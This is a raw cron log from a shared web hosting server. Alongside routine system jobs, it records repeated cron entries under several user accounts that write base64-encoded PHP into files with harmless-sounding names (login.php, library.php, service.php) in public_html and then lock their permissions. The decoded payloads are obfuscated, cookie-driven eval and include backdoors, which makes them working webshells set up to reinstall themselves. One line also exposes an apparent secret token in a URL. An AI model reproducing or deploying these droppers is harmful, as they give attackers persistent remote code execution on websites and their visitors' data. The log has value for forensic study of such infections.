Mar  2 00:27:01 medusa CROND[15529]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:27:01 medusa CROND[15530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:27:01 medusa CROND[15531]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:27:01 medusa CROND[15532]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:27:01 medusa CROND[15533]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:27:01 medusa CROND[15534]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:27:01 medusa CROND[15537]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:27:01 medusa CROND[15539]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:27:01 medusa CROND[15541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:27:01 medusa CROND[15564]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:27:01 medusa CROND[15565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:27:01 medusa CROND[15567]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:28:02 medusa CROND[22773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:28:02 medusa CROND[22835]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:28:02 medusa CROND[22836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:28:02 medusa CROND[22837]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:28:02 medusa CROND[22838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:28:02 medusa CROND[22840]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:28:02 medusa CROND[22841]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:28:02 medusa CROND[22842]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:28:02 medusa CROND[22845]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:28:02 medusa CROND[22850]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:28:02 medusa CROND[22847]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:28:02 medusa CROND[22852]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:28:02 medusa CROND[22853]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:28:02 medusa CROND[22856]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:29:02 medusa CROND[27318]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:29:02 medusa CROND[27339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 00:29:02 medusa CROND[27362]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:29:02 medusa CROND[27363]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
